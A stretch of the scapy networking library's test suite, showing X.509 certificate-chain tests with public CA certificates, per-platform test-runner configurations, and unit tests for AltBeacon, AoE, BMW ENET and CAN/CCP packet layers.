-----BEGIN CERTIFICATE----- MIIFVjCCBD6gAwIBAgIJAJmDv7HOC+iUMA0GCSqGSIb3DQEBCwUAMIHGMQswCQYD VQQGEwJVUzEQMA4GA1UECBMHQXJpem9uYTETMBEGA1UEBxMKU2NvdHRzZGFsZTEl MCMGA1UEChMcU3RhcmZpZWxkIFRlY2hub2xvZ2llcywgSW5jLjEzMDEGA1UECxMq aHR0cDovL2NlcnRzLnN0YXJmaWVsZHRlY2guY29tL3JlcG9zaXRvcnkvMTQwMgYD VQQDEytTdGFyZmllbGQgU2VjdXJlIENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcy MB4XDTE1MTAxMzE2NDIzOFoXDTE2MTEzMDIzMzQxOVowPjEhMB8GA1UECxMYRG9t YWluIENvbnRyb2wgVmFsaWRhdGVkMRkwFwYDVQQDDBAqLnRvb2xzLmlldGYub3Jn MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAseE36OuC1on62/XCS3fw LErecm4+E2DRqGYexK09MmDl8Jm19Hp6SFUh7g45EvnODcr1aWHHBO1uDx07HlCI eToOMUEW8bECZGilzfVKCsqZljUIw34nXdCpz/PnKK832LZ73fN+rm6Xf/fKaU7M 0AbfXSebOxLn5v4Ia1J7ghF8crNG68HoeLgPy+HrvQZEWNyDULKgYlvcgbg24558 ebKpU4rgC8lKKhM5MRO9LM+ocM+MjT0Bo4iuEgA2HR4kK9152FMBJu0oT8mGlINO yOEULoWzr9Ru3WlGr0ElDnqti/KSynnZezJP93fo+bRPI1zUXAOu2Ks6yhNfXV1d oQIDAQABo4IBzDCCAcgwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcD AQYIKwYBBQUHAwIwDgYDVR0PAQH/BAQDAgWgMDwGA1UdHwQ1MDMwMaAvoC2GK2h0 dHA6Ly9jcmwuc3RhcmZpZWxkdGVjaC5jb20vc2ZpZzJzMS0xNy5jcmwwWQYDVR0g BFIwUDBOBgtghkgBhv1uAQcXATA/MD0GCCsGAQUFBwIBFjFodHRwOi8vY2VydGlm aWNhdGVzLnN0YXJmaWVsZHRlY2guY29tL3JlcG9zaXRvcnkvMIGCBggrBgEFBQcB AQR2MHQwKgYIKwYBBQUHMAGGHmh0dHA6Ly9vY3NwLnN0YXJmaWVsZHRlY2guY29t LzBGBggrBgEFBQcwAoY6aHR0cDovL2NlcnRpZmljYXRlcy5zdGFyZmllbGR0ZWNo LmNvbS9yZXBvc2l0b3J5L3NmaWcyLmNydDAfBgNVHSMEGDAWgBQlRYFoUCY4PTst LL7Natm2PbNmYzArBgNVHREEJDAighAqLnRvb2xzLmlldGYub3Jngg50b29scy5p ZXRmLm9yZzAdBgNVHQ4EFgQUrYq0HAdR15KJB7C3hGIvNlV6X00wDQYJKoZIhvcN AQELBQADggEBAAxfzShHiatHrWnTGuRX9BmFpHOFGmLs3PtRRPoOUEbZrcTbaJ+i EZpjj4R3eiLITgObcib8+NR1eZsN6VkswZ+rr54aeQ1WzWlsVwBP1t0h9lIbaonD wDV6ME3KzfFwwsZWqMBgLin8TcoMadAkXhdfcEKNndKSMsowgEjigP677l24nHf/ OcnMftgErmTm+jEdW1wUooJoWgbt8TT2uWD8MC62sIIgSQ6miKtg7LhCC1ScyVuN Erk3YzF8mPwouOcnNOKsUnkDXLA2REMedVp48c4ikjLClu6AcIg03ZU+o8fLNqcZ zd1s7DbacrRSSQ+nXDTodqw1HB+77u0RFs0= -----END CERTIFICATE----- """) c1 = Cert(""" -----BEGIN CERTIFICATE----- MIIFADCCA+igAwIBAgIBBzANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCVVMx EDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoT HFN0YXJmaWVsZCBUZWNobm9sb2dpZXMsIEluYy4xMjAwBgNVBAMTKVN0YXJmaWVs ZCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTExMDUwMzA3MDAw MFoXDTMxMDUwMzA3MDAwMFowgcYxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6 b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQgVGVj aG5vbG9naWVzLCBJbmMuMTMwMQYDVQQLEypodHRwOi8vY2VydHMuc3RhcmZpZWxk dGVjaC5jb20vcmVwb3NpdG9yeS8xNDAyBgNVBAMTK1N0YXJmaWVsZCBTZWN1cmUg Q2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IB DwAwggEKAoIBAQDlkGZL7PlGcakgg77pbL9KyUhpgXVObST2yxcT+LBxWYR6ayuF pDS1FuXLzOlBcCykLtb6Mn3hqN6UEKwxwcDYav9ZJ6t21vwLdGu4p64/xFT0tDFE 3ZNWjKRMXpuJyySDm+JXfbfYEh/JhW300YDxUJuHrtQLEAX7J7oobRfpDtZNuTlV Bv8KJAV+L8YdcmzUiymMV33a2etmGtNPp99/UsQwxaXJDgLFU793OGgGJMNmyDd+ MB5FcSM1/5DYKp2N57CSTTx/KgqT3M0WRmX3YISLdkuRJ3MUkuDq7o8W6o0OPnYX v32JgIBEQ+ct4EMJddo26K3biTr1XRKOIwSDAgMBAAGjggEsMIIBKDAPBgNVHRMB Af8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUJUWBaFAmOD07LSy+ zWrZtj2zZmMwHwYDVR0jBBgwFoAUfAwyH6fZMH/EfWijYqihzqsHWycwOgYIKwYB BQUHAQEELjAsMCoGCCsGAQUFBzABhh5odHRwOi8vb2NzcC5zdGFyZmllbGR0ZWNo LmNvbS8wOwYDVR0fBDQwMjAwoC6gLIYqaHR0cDovL2NybC5zdGFyZmllbGR0ZWNo LmNvbS9zZnJvb3QtZzIuY3JsMEwGA1UdIARFMEMwQQYEVR0gADA5MDcGCCsGAQUF BwIBFitodHRwczovL2NlcnRzLnN0YXJmaWVsZHRlY2guY29tL3JlcG9zaXRvcnkv MA0GCSqGSIb3DQEBCwUAA4IBAQBWZcr+8z8KqJOLGMfeQ2kTNCC+Tl94qGuc22pN QdvBE+zcMQAiXvcAngzgNGU0+bE6TkjIEoGIXFs+CFN69xpk37hQYcxTUUApS8L0 rjpf5MqtJsxOYUPl/VemN3DOQyuwlMOS6eFfqhBJt2nk4NAfZKQrzR9voPiEJBjO eT2pkb9UGBOJmVQRDVXFJgt5T1ocbvlj2xSApAer+rKluYjdkf5lO6Sjeb6JTeHQ sPTIFwwKlhR8Cbds4cLYVdQYoKpBaXAko7nv6VrcPuuUSvC33l8Odvr7+2kDRUBQ 7nIMpBKGgc0T0U7EPMpODdIm8QC3tKai4W56gf0wrHofx1l7 -----END CERTIFICATE----- """) c2 = Cert(""" -----BEGIN CERTIFICATE----- MIID3TCCAsWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCVVMx EDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoT HFN0YXJmaWVsZCBUZWNobm9sb2dpZXMsIEluYy4xMjAwBgNVBAMTKVN0YXJmaWVs ZCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5MDkwMTAwMDAw MFoXDTM3MTIzMTIzNTk1OVowgY8xCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6 b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQgVGVj aG5vbG9naWVzLCBJbmMuMTIwMAYDVQQDEylTdGFyZmllbGQgUm9vdCBDZXJ0aWZp Y2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC ggEBAL3twQP89o/8ArFvW59I2Z154qK3A2FWGMNHttfKPTUuiUP3oWmb3ooa/RMg nLRJdzIpVv257IzdIvpy3Cdhl+72WoTsbhm5iSzchFvVdPtrX8WJpRBSiUZV9Lh1 HOZ/5FSuS/hVclcCGfgXcVnrHigHdMWdSL5stPSksPNkN3mSwOxGXn/hbVNMYq/N Hwtjuzqd+/x5AJhhdM8mgkBj87JyahkNmcrUDnXMN/uLicFZ8WJ/X7NfZTD4p7dN dloedl40wOiWVpmKs/B/pM293DIxfJHP4F8R+GuqSVzRmZTRouNjWwl2tVZi4Ut0 HZbUJtQIBFnQmA4O5t78w+wfkPECAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAO BgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFHwMMh+n2TB/xH1oo2Kooc6rB1snMA0G CSqGSIb3DQEBCwUAA4IBAQARWfolTwNvlJk7mh+ChTnUdgWUXuEok21iXQnCoKjU sHU48TRqneSfioYmUeYs0cYtbpUgSpIB7LiKZ3sx4mcujJUDJi5DnUox9g61DLu3 4jd/IroAow57UvtruzvE03lRTs2Q9GcHGcg8RnoNAX3FWOdt5oUwF5okxBDgBPfg 8n/Uqgr/Qh037ZTlZFkSIHc40zI+OIF1lnP6aI+xy84fxez6nH7PfrHxBy22/L/K pL/QlwVKvOoYKAKQvVR4CSFx09F9HdkWsKlhPdAKACL8x3vLCWRFCztAgfd9fDL1 mMpYjn0q7pBZc2T5NnReJaH1ZgUufzkVqSr7UIuOhWn0 -----END CERTIFICATE----- """) c0.isIssuerCert(c1) and c1.isIssuerCert(c2) and not c0.isIssuerCert(c2) = Cert class : Checking isSelfSigned() c2.isSelfSigned() and not c1.isSelfSigned() and not c0.isSelfSigned() = PubKey class : Checking verifyCert() c2.pubKey.verifyCert(c2) and c1.pubKey.verifyCert(c0) = Chain class : Checking chain construction assert(len(Chain([c0, c1, c2])) == 3) assert(len(Chain([c0], c1)) == 2) len(Chain([c0], c2)) == 1 = Chain class : repr expected_repr = """__ /C=US/ST=Arizona/L=Scottsdale/O=Starfield Technologies, Inc./CN=Starfield Root Certificate Authority - G2 [Self Signed] _ /C=US/ST=Arizona/L=Scottsdale/O=Starfield Technologies, Inc./OU=http://certs.starfieldtech.com/repository//CN=Starfield Secure Certificate Authority - G2 _ /OU=Domain Control Validated/CN=*.tools.ietf.org""" assert str(Chain([c0, c1, c2])) == expected_repr = Chain class : Checking chain verification assert(Chain([], c0).verifyChain([c2], [c1])) not Chain([c1]).verifyChain([c0]) = Chain class: Checking chain verification with file import tempfile tf_folder = tempfile.mkdtemp() try: os.makedirs(tf_folder) except: pass tf = os.path.join(tf_folder, "trusted") utf = os.path.join(tf_folder, "untrusted") tf utf # Create files trusted = open(tf, "w") trusted.write(""" -----BEGIN CERTIFICATE----- MIIFADCCA+igAwIBAgIBBzANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCVVMx EDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoT HFN0YXJmaWVsZCBUZWNobm9sb2dpZXMsIEluYy4xMjAwBgNVBAMTKVN0YXJmaWVs ZCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTExMDUwMzA3MDAw MFoXDTMxMDUwMzA3MDAwMFowgcYxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6 b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQgVGVj aG5vbG9naWVzLCBJbmMuMTMwMQYDVQQLEypodHRwOi8vY2VydHMuc3RhcmZpZWxk dGVjaC5jb20vcmVwb3NpdG9yeS8xNDAyBgNVBAMTK1N0YXJmaWVsZCBTZWN1cmUg Q2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IB DwAwggEKAoIBAQDlkGZL7PlGcakgg77pbL9KyUhpgXVObST2yxcT+LBxWYR6ayuF pDS1FuXLzOlBcCykLtb6Mn3hqN6UEKwxwcDYav9ZJ6t21vwLdGu4p64/xFT0tDFE 3ZNWjKRMXpuJyySDm+JXfbfYEh/JhW300YDxUJuHrtQLEAX7J7oobRfpDtZNuTlV Bv8KJAV+L8YdcmzUiymMV33a2etmGtNPp99/UsQwxaXJDgLFU793OGgGJMNmyDd+ MB5FcSM1/5DYKp2N57CSTTx/KgqT3M0WRmX3YISLdkuRJ3MUkuDq7o8W6o0OPnYX v32JgIBEQ+ct4EMJddo26K3biTr1XRKOIwSDAgMBAAGjggEsMIIBKDAPBgNVHRMB Af8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUJUWBaFAmOD07LSy+ zWrZtj2zZmMwHwYDVR0jBBgwFoAUfAwyH6fZMH/EfWijYqihzqsHWycwOgYIKwYB BQUHAQEELjAsMCoGCCsGAQUFBzABhh5odHRwOi8vb2NzcC5zdGFyZmllbGR0ZWNo LmNvbS8wOwYDVR0fBDQwMjAwoC6gLIYqaHR0cDovL2NybC5zdGFyZmllbGR0ZWNo LmNvbS9zZnJvb3QtZzIuY3JsMEwGA1UdIARFMEMwQQYEVR0gADA5MDcGCCsGAQUF BwIBFitodHRwczovL2NlcnRzLnN0YXJmaWVsZHRlY2guY29tL3JlcG9zaXRvcnkv MA0GCSqGSIb3DQEBCwUAA4IBAQBWZcr+8z8KqJOLGMfeQ2kTNCC+Tl94qGuc22pN QdvBE+zcMQAiXvcAngzgNGU0+bE6TkjIEoGIXFs+CFN69xpk37hQYcxTUUApS8L0 rjpf5MqtJsxOYUPl/VemN3DOQyuwlMOS6eFfqhBJt2nk4NAfZKQrzR9voPiEJBjO eT2pkb9UGBOJmVQRDVXFJgt5T1ocbvlj2xSApAer+rKluYjdkf5lO6Sjeb6JTeHQ sPTIFwwKlhR8Cbds4cLYVdQYoKpBaXAko7nv6VrcPuuUSvC33l8Odvr7+2kDRUBQ 7nIMpBKGgc0T0U7EPMpODdIm8QC3tKai4W56gf0wrHofx1l7 -----END CERTIFICATE----- """) trusted.close() untrusted = open(utf, "w") untrusted.write(""" -----BEGIN CERTIFICATE----- MIID3TCCAsWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCVVMx EDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoT HFN0YXJmaWVsZCBUZWNobm9sb2dpZXMsIEluYy4xMjAwBgNVBAMTKVN0YXJmaWVs ZCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5MDkwMTAwMDAw MFoXDTM3MTIzMTIzNTk1OVowgY8xCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6 b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQgVGVj aG5vbG9naWVzLCBJbmMuMTIwMAYDVQQDEylTdGFyZmllbGQgUm9vdCBDZXJ0aWZp Y2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC ggEBAL3twQP89o/8ArFvW59I2Z154qK3A2FWGMNHttfKPTUuiUP3oWmb3ooa/RMg nLRJdzIpVv257IzdIvpy3Cdhl+72WoTsbhm5iSzchFvVdPtrX8WJpRBSiUZV9Lh1 HOZ/5FSuS/hVclcCGfgXcVnrHigHdMWdSL5stPSksPNkN3mSwOxGXn/hbVNMYq/N Hwtjuzqd+/x5AJhhdM8mgkBj87JyahkNmcrUDnXMN/uLicFZ8WJ/X7NfZTD4p7dN dloedl40wOiWVpmKs/B/pM293DIxfJHP4F8R+GuqSVzRmZTRouNjWwl2tVZi4Ut0 HZbUJtQIBFnQmA4O5t78w+wfkPECAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAO BgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFHwMMh+n2TB/xH1oo2Kooc6rB1snMA0G CSqGSIb3DQEBCwUAA4IBAQARWfolTwNvlJk7mh+ChTnUdgWUXuEok21iXQnCoKjU sHU48TRqneSfioYmUeYs0cYtbpUgSpIB7LiKZ3sx4mcujJUDJi5DnUox9g61DLu3 4jd/IroAow57UvtruzvE03lRTs2Q9GcHGcg8RnoNAX3FWOdt5oUwF5okxBDgBPfg 8n/Uqgr/Qh037ZTlZFkSIHc40zI+OIF1lnP6aI+xy84fxez6nH7PfrHxBy22/L/K pL/QlwVKvOoYKAKQvVR4CSFx09F9HdkWsKlhPdAKACL8x3vLCWRFCztAgfd9fDL1 mMpYjn0q7pBZc2T5NnReJaH1ZgUufzkVqSr7UIuOhWn0 -----END CERTIFICATE----- """) untrusted.close() assert Chain([], c0).verifyChainFromCAFile(tf, untrusted_file=utf) assert Chain([], c0).verifyChainFromCAPath(tf_folder, untrusted_file=utf) = Clear files try: os.remove("./certs_test_ca/trusted") os.remove("./certs_test_ca/untrusted") except: pass try: os.rmdir("././certs_test_ca") except: pass = Test __repr__ repr_str = Chain([], c0).__repr__() assert repr_str == '__ /OU=Domain Control Validated/CN=*.tools.ietf.org [Not Self Signed]\n' = Test GeneralizedTime data = b"MHAwXAIBADANBgkqhkiG9w0BAQ0FADAAMCIYDzIwMTExMDA2MDgzOTU2WhgPMjA0NjEwMDYwODM5NTZaMAAwHDANBgkqhkiG9w0BAQEFAAMLADAIAgEAAgMBAAGjAjAAMA0GCSqGSIb3DQEBDQUAAwEA" import tempfile, os _, filename = tempfile.mkstemp() fd = open(filename, "wb") fd.write(b"-----BEGIN CERTIFICATE-----\n") fd.write(data) fd.write(b"-----END CERTIFICATE-----\n") fd.close() cert = Cert(filename) assert "2011" in cert.notBefore_str and "2046" in cert.notAfter_str scapy-2.4.4/test/configs/000077500000000000000000000000001372370053500152545ustar00rootroot00000000000000scapy-2.4.4/test/configs/bsd.utsc000066400000000000000000000014431372370053500167260ustar00rootroot00000000000000{ "testfiles": [ "test/*.uts", "test/contrib/automotive/*.uts", "test/contrib/automotive/obd/*.uts", "test/contrib/automotive/gm/*.uts", "test/contrib/automotive/bmw/*.uts", "test/contrib/*.uts" ], "remove_testfiles": [ "test/linux.uts", "test/windows.uts", "test/contrib/automotive/ecu_am.uts", "test/contrib/automotive/gm/gmlanutils.uts", "test/contrib/isotp.uts", "test/contrib/isotpscan.uts" ], "onlyfailed": true, "preexec": { "test/contrib/*.uts": "load_contrib(\"%name%\")", "test/cert.uts": "load_layer(\"tls\")", "test/sslv2.uts": "load_layer(\"tls\")", "test/tls*.uts": "load_layer(\"tls\")" }, "format": "text", "kw_ko": [ "linux", "windows", "crypto_advanced", "ipv6", "vcan_socket" ] } scapy-2.4.4/test/configs/linux.utsc000066400000000000000000000013101372370053500173060ustar00rootroot00000000000000{ "testfiles": [ "test/*.uts", "test/contrib/*.uts", "test/contrib/automotive/*.uts", "test/contrib/automotive/obd/*.uts", "test/contrib/automotive/gm/*.uts", "test/contrib/automotive/bmw/*.uts", "test/tools/*.uts", "test/tls/tests_tls_netaccess.uts" ], "remove_testfiles": [ "test/windows.uts", "test/bpf.uts" ], "breakfailed": true, "onlyfailed": true, "preexec": { "test/contrib/*.uts": "load_contrib(\"%name%\")", "test/cert.uts": "load_layer(\"tls\")", "test/sslv2.uts": "load_layer(\"tls\")", "test/tls*.uts": "load_layer(\"tls\")" }, "format": "text", "kw_ko": [ "osx", "windows", "crypto_advanced", "ipv6" ] } scapy-2.4.4/test/configs/solaris.utsc000066400000000000000000000015021372370053500176260ustar00rootroot00000000000000{ "testfiles": [ "test/*.uts", "test/contrib/automotive/*.uts", "test/contrib/automotive/obd/*.uts", "test/contrib/automotive/gm/*.uts", "test/contrib/automotive/bmw/*.uts", "test/contrib/*.uts" ], "remove_testfiles": [ "test/linux.uts", "test/bpf.uts", "test/windows.uts", "test/contrib/automotive/ecu_am.uts", "test/contrib/automotive/gm/gmlanutils.uts", "test/contrib/isotp.uts", "test/contrib/isotpscan.uts" ], "onlyfailed": true, "preexec": { "test/contrib/*.uts": "load_contrib(\"%name%\")", "test/cert.uts": "load_layer(\"tls\")", "test/sslv2.uts": "load_layer(\"tls\")", "test/tls*.uts": "load_layer(\"tls\")" }, "format": "text", "kw_ko": [ "osx", "linux", "windows", "crypto_advanced", "ipv6", "vcan_socket" ] } scapy-2.4.4/test/configs/windows.utsc000066400000000000000000000014401372370053500176450ustar00rootroot00000000000000{ "testfiles": [ "test\\*.uts", "test\\tls\\tests_tls_netaccess.uts", "test\\contrib\\automotive\\obd\\*.uts", "test\\contrib\\automotive\\gm\\*.uts", "test\\contrib\\automotive\\bmw\\*.uts", "test\\contrib\\automotive\\*.uts", "test\\contrib\\*.uts" ], "remove_testfiles": [ "test\\bpf.uts", "test\\linux.uts" ], "breakfailed": true, "onlyfailed": true, "preexec": { "test\\contrib\\*.uts": "load_contrib(\"%name%\")", "test\\cert.uts": "load_layer(\"tls\")", "test\\sslv2.uts": "load_layer(\"tls\")", "test\\tls*.uts": "load_layer(\"tls\")" }, "format": "text", "kw_ko": [ "osx", "linux", "crypto_advanced", "mock_read_routes_bsd", "require_gui", "open_ssl_client", "vcan_socket", "ipv6" ] } scapy-2.4.4/test/configs/windows2.utsc000066400000000000000000000014301372370053500177260ustar00rootroot00000000000000{ "testfiles": [ "*.uts", "test\\contrib\\automotive\\obd\\*.uts", "test\\contrib\\automotive\\gm\\*.uts", "test\\contrib\\automotive\\bmw\\*.uts", "test\\contrib\\automotive\\*.uts", "tls\\tests_tls_netaccess.uts", "contrib\\*.uts" ], "remove_testfiles": [ "bpf.uts", "linux.uts" ], "breakfailed": true, "onlyfailed": true, "preexec": { "contrib\\*.uts": "load_contrib(\"%name%\")", "cert.uts": "load_layer(\"tls\")", "sslv2.uts": "load_layer(\"tls\")", "tls*.uts": "load_layer(\"tls\")" }, "format": "html", "kw_ko": [ "osx", "linux", "crypto_advanced", "mock_read_routes_bsd", "appveyor_only", "open_ssl_client", "vcan_socket", "ipv6", "manufdb", "tcpdump", "tshark" ] } scapy-2.4.4/test/contrib/000077500000000000000000000000001372370053500152645ustar00rootroot00000000000000scapy-2.4.4/test/contrib/altbeacon.uts000066400000000000000000000046131372370053500177550ustar00rootroot00000000000000% AltBeacon unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('altbeacon')" -t test/contrib/altbeacon.uts # # AltBeaconParser tests adapted from: # https://github.com/AltBeacon/android-beacon-library/blob/master/lib/src/test/java/org/altbeacon/beacon/AltBeaconParserTest.java + AltBeacon tests = Setup def next_eir(p): return EIR_Hdr(p[Padding].load) = Presence check AltBeacon = AltBeaconParserTest.testRecognizeBeacon d = hex_bytes('02011a1bff1801beac2f234454cf6d4a0fadf2f4911ba9ffa600010002c509') p = EIR_Hdr(d) # First is a flags header assert EIR_Flags in p # Then the AltBeacon p = next_eir(p) assert p[EIR_Manufacturer_Specific_Data].company_id == RADIUS_NETWORKS_MFG assert p[AltBeacon].mfg_reserved == 9 = AltBeaconParserTest.testDetectsDaveMHardwareBeacon d = hex_bytes('02011a1bff1801beac2f234454cf6d4a0fadf2f4911ba9ffa600050003be020e09526164426561636f6e20555342020a03000000000000000000000000') p = EIR_Hdr(d) # First is Flags assert EIR_Flags in p # Then the AltBeacon p = next_eir(p) assert p[EIR_Manufacturer_Specific_Data].company_id == RADIUS_NETWORKS_MFG assert AltBeacon in p # Then CompleteLocalName p = next_eir(p) assert p[EIR_CompleteLocalName].local_name == b'RadBeacon USB' # Then TX_Power_Level p = next_eir(p) assert p[EIR_TX_Power_Level].level == 3 = AltBeaconParserTest.testParseWrongFormatReturnsNothing d = hex_bytes('02011a1aff1801ffff2f234454cf6d4a0fadf2f4911ba9ffa600010002c509') p = EIR_Hdr(d) # First is Flags assert EIR_Flags in p # Then the EIR_Manufacturer_Specific_Data p = next_eir(p) assert p[EIR_Manufacturer_Specific_Data].company_id == RADIUS_NETWORKS_MFG assert AltBeacon not in p = AltBeaconParserTest.testParsesBeaconMissingDataField d = hex_bytes('02011a1aff1801beac2f234454cf6d4a0fadf2f4911ba9ffa600010002c50000') p = EIR_Hdr(d) # First is Flags assert EIR_Flags in p # Then the EIR_Manufacturer_Specific_Data p = next_eir(p) assert p[EIR_Manufacturer_Specific_Data].company_id == RADIUS_NETWORKS_MFG assert p[AltBeacon].id1 == uuid.UUID('2f234454-cf6d-4a0f-adf2-f4911ba9ffa6') assert p[AltBeacon].id2 == 1 assert p[AltBeacon].id3 == 2 assert p[AltBeacon].tx_power == -59 = Build EIR p = AltBeacon( id1=uuid.UUID('2f234454-cf6d-4a0f-adf2-f4911ba9ffa6'), id2=1, id3=2, tx_power=-59, ) d = raw(p.build_eir()[-1]) assert d == hex_bytes('1bff1801beac2f234454cf6d4a0fadf2f4911ba9ffa600010002c500') scapy-2.4.4/test/contrib/aoe.uts000066400000000000000000000011511372370053500165630ustar00rootroot00000000000000% Regression tests for aoe module ############ ############ + Basic tests = Build - Check Ethertype a = Ether(src="00:01:02:03:04:05") b = AOE() c = a / b assert(c[Ether].type == 0x88a2) = Build - Check default p = AOE() assert(hasattr(p, "q_conf_info")) = Build - Check Issue ATA command p = AOE() p.cmd = 0 assert(hasattr(p, "i_ata_cmd")) = Build - Check Query Config Information p = AOE() p.cmd = 1 assert(hasattr(p, "q_conf_info")) = Build - Check Mac Mask List p = AOE() p.cmd = 2 assert(hasattr(p, "mac_m_list")) = Build - Check ReserveRelease p = AOE() p.cmd = 3 assert(hasattr(p, "res_rel")) scapy-2.4.4/test/contrib/automotive/000077500000000000000000000000001372370053500174605ustar00rootroot00000000000000scapy-2.4.4/test/contrib/automotive/bmw/000077500000000000000000000000001372370053500202455ustar00rootroot00000000000000scapy-2.4.4/test/contrib/automotive/bmw/enet.uts000066400000000000000000000034011372370053500217330ustar00rootroot00000000000000+ ENET Contrib tests = Load Contrib Layer load_contrib("automotive.bmw.enet", globals_dict=globals()) = Basic Test 1 pkt = ENET(type=1, src=0xf4, dst=0x10)/Raw(b'\x11\x22\x33') assert bytes(pkt) == b'\x00\x00\x00\x05\x00\x01\xf4\x10\x11"3' = Basic Test 2 pkt = ENET(type=1, src=0xf4, dst=0x10)/Raw(b'\x11\x22\x33\x11\x11\x11\x11\x11') assert bytes(pkt) == b'\x00\x00\x00\x0a\x00\x01\xf4\x10\x11"3\x11\x11\x11\x11\x11' = Basic Dissect Test pkt = ENET(b'\x00\x00\x00\x0a\x00\x01\xf4\x10\x11"3\x11\x11\x11\x11\x11') assert pkt.length == 10 assert pkt.src == 0xf4 assert pkt.dst == 0x10 assert pkt.type == 1 assert pkt[1].service == 17 assert pkt[2].resetType == 34 = Build Test pkt = ENET(src=0xf4, dst=0x10)/Raw(b"0" * 20) assert bytes(pkt) == b'\x00\x00\x00\x16\x00\x01\xf4\x10' + b"0" * 20 = Dissect Test pkt = ENET(b'\x00\x00\x00\x18\x00\x01\xf4\x10\x67\x01' + b"0" * 20) assert pkt.length == 24 assert pkt.src == 0xf4 assert pkt.dst == 0x10 assert pkt.type == 1 assert pkt.securitySeed == b"0" * 20 assert len(pkt[1]) == pkt.length - 2 = Dissect Test with padding pkt = ENET(b'\x00\x00\x00\x18\x00\x01\xf4\x10\x67\x01' + b"0" * 20 + b"p" * 100) assert pkt.length == 24 assert pkt.src == 0xf4 assert pkt.dst == 0x10 assert pkt.type == 1 assert pkt.securitySeed == b"0" * 20 assert pkt.load == b'p' * 100 = Dissect Test to short packet pkt = ENET(b'\x00\x00\x00\x18\x00\x01\xf4\x10\x67\x01' + b"0" * 19) assert pkt.length == 24 assert pkt.src == 0xf4 assert pkt.dst == 0x10 assert pkt.type == 1 assert pkt.securitySeed == b"0" * 19 = Dissect Test very long packet pkt = ENET(b'\x00\x0f\xff\x04\x00\x01\xf4\x10\x67\x01' + b"0" * 0xfff00) assert pkt.length == 0xfff04 assert pkt.src == 0xf4 assert pkt.dst == 0x10 assert pkt.type == 1 assert pkt.securitySeed == b"0" * 0xfff00 scapy-2.4.4/test/contrib/automotive/ccp.uts000066400000000000000000000732721372370053500207750ustar00rootroot00000000000000% Regression tests for the CCP layer + Configuration ~ conf = Imports load_layer("can", globals_dict=globals()) conf.contribs['CAN']['swap-bytes'] = False import scapy.modules.six as six from subprocess import call from scapy.consts import LINUX = Definition of constants, utility functions and mock classes iface0 = "vcan0" iface1 = "vcan1" = Initialize a virtual CAN interface ~ vcan_socket needs_root linux if 0 != call(["cansend", iface0, "000#"]): # vcan0 is not enabled if 0 != call(["sudo", "modprobe", "vcan"]): raise Exception("modprobe vcan failed") if 0 != call(["sudo", "ip", "link", "add", "name", iface0, "type", "vcan"]): print("add %s failed: Maybe it was already up?" % iface0) if 0 != call(["sudo", "ip", "link", "set", "dev", iface0, "up"]): raise Exception("could not bring up %s" % iface0) if 0 != call(["cansend", iface0, "000#"]): raise Exception("cansend doesn't work") if 0 != call(["cansend", iface1, "000#"]): # vcan1 is not enabled if 0 != call(["sudo", "modprobe", "vcan"]): raise Exception("modprobe vcan failed") if 0 != call(["sudo", "ip", "link", "add", "name", iface1, "type", "vcan"]): print("add %s failed: Maybe it was already up?" % iface1) if 0 != call(["sudo", "ip", "link", "set", "dev", iface1, "up"]): raise Exception("could not bring up %s" % iface1) if 0 != call(["cansend", iface1, "000#"]): raise Exception("cansend doesn't work") print("CAN should work now") = Import CANSocket from scapy.contrib.cansocket_python_can import * new_can_socket = lambda iface: CANSocket(bustype='virtual', channel=iface) new_can_socket0 = lambda: CANSocket(bustype='virtual', channel=iface0, timeout=0.01) new_can_socket1 = lambda: CANSocket(bustype='virtual', channel=iface1, timeout=0.01) # utility function for draining a can interface, asserting that no packets are there def drain_bus(iface=iface0, assert_empty=True): with new_can_socket(iface) as s: pkts = s.sniff(timeout=0.1) if assert_empty: assert len(pkts) == 0 print("CAN sockets should work now") 